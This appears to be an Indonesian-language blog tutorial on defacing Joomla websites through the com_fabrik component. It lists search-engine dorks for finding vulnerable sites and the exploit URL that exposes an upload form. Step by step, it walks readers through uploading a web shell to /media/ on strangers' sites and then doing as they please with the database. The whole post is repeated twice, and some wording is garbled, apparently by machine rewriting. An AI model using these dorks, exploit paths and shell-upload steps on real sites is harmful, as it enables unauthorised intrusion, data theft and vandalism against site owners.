Tutorial Deface Teknik Cms Joomla Dengan Exploit Com_Fabrik
slamet sore guys...!! duh duh udah hampir seminggu nih kita gak bahas wacana deface sepakat kita asah lagi kemampuan deface kita, sebelum kita masuk ke tutorialnya apakah kalian sudah tahu apa itu deface? yah mungkin ada yang sudah tahu dan ada yang belum makanya ini aku kasih tahu terlebih dahulu apa itu deface ?
"Website defacement ialah serangan terhadap sebuah situs web yang mengubah tampilan visual dari situs atau halaman web. Ini biasanya merupakan pekerjaan dari para pembelot,
yang masuk ke server web dan mengganti situs web yang dihosting dengan salah satu dari mereka sendiri. Penangguhan pada umumnya dimaksudkan sebagai semacam grafiti elektronik dan,
menyerupai bentuk vandalisme lainnya, juga dipakai untuk berbagi pesan oleh "pemrotes" atau hacktivist"
kalau sebelumnya kita telah mempelajari teknik - teknik dasar wacana cara deface untuk newbie sepakat ini sediit embel-embel lagi untuk materinya yaitu Teknik Deface CMS Joomla dengan Exploit Com_Fabrik sepakat tampaknya bacotan aku sudah cukup panjang jadi kita mulai masuk ke tutorialnya
Bahan - materi :
Dork :
inurl:index.php?option=com_fabrik
inurl:index.php/component/fabrik/ site:
inurl:index.php?option=com_fabrik&view= site:
inurl:importcsv.php site:
inurl:viewTable?cid= site:com
Expoit :
/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
atau
/index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1echercher
Teknik Deface CMS Joomla dengan Exploit Com_Fabrik
1. pertama dorking dulu di search engine menyerupai biasanya
2. pilih salah satu sasaran kalian, kemudian eksklusif saja exploit
teladan : www.target.com/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
3. kalau vuln maka akan muncul form upload menyerupai gambar di bawah. dan eksklusif saja kalian upload file atau shell kalian
4. selanjutnuya susukan file atau shell agan : /media/namafileagan
teladan : target.coli/media/shell.php
dan yuhuu... kita udah masuk ke database target, sehabis itu terserah kalian dah mau beliau apain mau di keruk - keruk terus hingga akar juga gak papa,
kalo saran aku sh liat - liat ajh yh jangan ngrusak, kalo mau tebang index yh di BACK UP DULLU..!! kasian tuh ngrancangscriptnya butuh waktu yang gak sdikit ampe ngrelain waktu sama istri :''D yah tampaknya kalian sudah paham dengan bacotan - bacotan bullshit aku ini yang kurang bermanfaat, kalo bisa sh biar bermanfaat, jadi untuk postingan kali ini hingga di sini dulu untuk postingan yang lainya besok" ajh berhubung kopi dan rokoknya udah habis jadi aku akhiri saja dan hingga jumpa di postingan berikutnya.
image source : www.tkjcyberart.org/
"Website defacement ialah serangan terhadap sebuah situs web yang mengubah tampilan visual dari situs atau halaman web. Ini biasanya merupakan pekerjaan dari para pembelot,
yang masuk ke server web dan mengganti situs web yang dihosting dengan salah satu dari mereka sendiri. Penangguhan pada umumnya dimaksudkan sebagai semacam grafiti elektronik dan,
menyerupai bentuk vandalisme lainnya, juga dipakai untuk berbagi pesan oleh "pemrotes" atau hacktivist"
kalau sebelumnya kita telah mempelajari teknik - teknik dasar wacana cara deface untuk newbie sepakat ini sediit embel-embel lagi untuk materinya yaitu Teknik Deface CMS Joomla dengan Exploit Com_Fabrik sepakat tampaknya bacotan aku sudah cukup panjang jadi kita mulai masuk ke tutorialnya
Bahan - materi :
Dork :
inurl:index.php?option=com_fabrik
inurl:index.php/component/fabrik/ site:
inurl:index.php?option=com_fabrik&view= site:
inurl:importcsv.php site:
inurl:viewTable?cid= site:com
Expoit :
/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
atau
/index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1echercher
Teknik Deface CMS Joomla dengan Exploit Com_Fabrik
1. pertama dorking dulu di search engine menyerupai biasanya
2. pilih salah satu sasaran kalian, kemudian eksklusif saja exploit
teladan : www.target.com/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
3. kalau vuln maka akan muncul form upload menyerupai gambar di bawah. dan eksklusif saja kalian upload file atau shell kalian
4. selanjutnuya susukan file atau shell agan : /media/namafileagan
teladan : target.coli/media/shell.php
dan yuhuu... kita udah masuk ke database target, sehabis itu terserah kalian dah mau beliau apain mau di keruk - keruk terus hingga akar juga gak papa,
kalo saran aku sh liat - liat ajh yh jangan ngrusak, kalo mau tebang index yh di BACK UP DULLU..!! kasian tuh ngrancangscriptnya butuh waktu yang gak sdikit ampe ngrelain waktu sama istri :''D yah tampaknya kalian sudah paham dengan bacotan - bacotan bullshit aku ini yang kurang bermanfaat, kalo bisa sh biar bermanfaat, jadi untuk postingan kali ini hingga di sini dulu untuk postingan yang lainya besok" ajh berhubung kopi dan rokoknya udah habis jadi aku akhiri saja dan hingga jumpa di postingan berikutnya.
image source : www.tkjcyberart.org/